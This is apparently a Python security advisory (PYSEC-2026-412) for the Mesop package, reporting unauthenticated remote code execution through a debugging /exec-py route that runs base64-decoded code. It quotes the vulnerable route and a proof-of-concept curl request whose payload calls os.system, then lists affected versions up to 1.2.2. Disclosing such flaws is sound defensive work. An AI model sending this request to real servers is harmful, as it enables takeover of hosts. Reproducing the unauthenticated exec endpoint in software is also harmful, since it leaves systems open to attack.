PYSEC-2026-412

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/mesop/PYSEC-2026-412.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-412
Aliases
Published
2026-06-29T11:50:45.018132Z
Modified
2026-07-01T20:22:57.669592Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Details

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

```bash

Payload:

import os

os.system('echo "pwned by attacker" > /tmp/pwned.txt')

#

Base64 string represents the identical payload block above:

aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://:port/exec-py \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

Validate exploitation target execution natively:

$ cat /tmp/pwned.txt

# pwned by attacker ```

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

References

Affected packages

PyPI / mesop

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.2.3

Affected versions

0.*
0.0.1
0.3.1
0.3.2
0.3.3
0.3.4
0.4.0
0.4.1
0.4.2
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.6.0
0.7.0
0.7.1
0.7.2
0.8.0rc0
0.8.0
0.9.0rc1
0.9.0
0.9.1rc1
0.9.1
0.9.2rc1
0.9.2
0.9.3rc0
0.9.3
0.9.4rc0
0.9.4
0.9.5rc0
0.9.5
0.10.0rc0
0.10.0rc1
0.10.0rc2
0.10.0
0.11.0rc0
0.11.0
0.11.1
0.12.0rc0
0.12.0
0.12.1rc0
0.12.1
0.12.2
0.12.3rc0
0.12.3
0.12.4rc0
0.12.4
0.12.5b1
0.12.5rc1
0.12.5
0.12.6rc1
0.12.6
0.12.7b1
0.12.7rc1
0.12.7
0.12.8b1
0.12.8rc1
0.12.8
0.12.9rc1
0.12.9
0.12.10b1
0.12.10b2
0.12.10b3
0.12.10rc1
0.13.0rc1
0.13.0
0.14rc1
0.14.0
0.14.1rc1
0.14.1
0.14.2b1
0.14.2b2
0.14.2rc1
1.*
1.0.0rc1
1.0.0rc2
1.0.0
1.0.1rc1
1.0.1
1.1.0rc1
1.1.0
1.1.1rc1
1.1.1rc2
1.1.1rc3
1.1.1
1.2.0rc1
1.2.0
1.2.1rc1
1.2.1
1.2.2rc1
1.2.2

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/mesop/PYSEC-2026-412.yaml"
last_known_affected_version_range
"<= 1.2.2"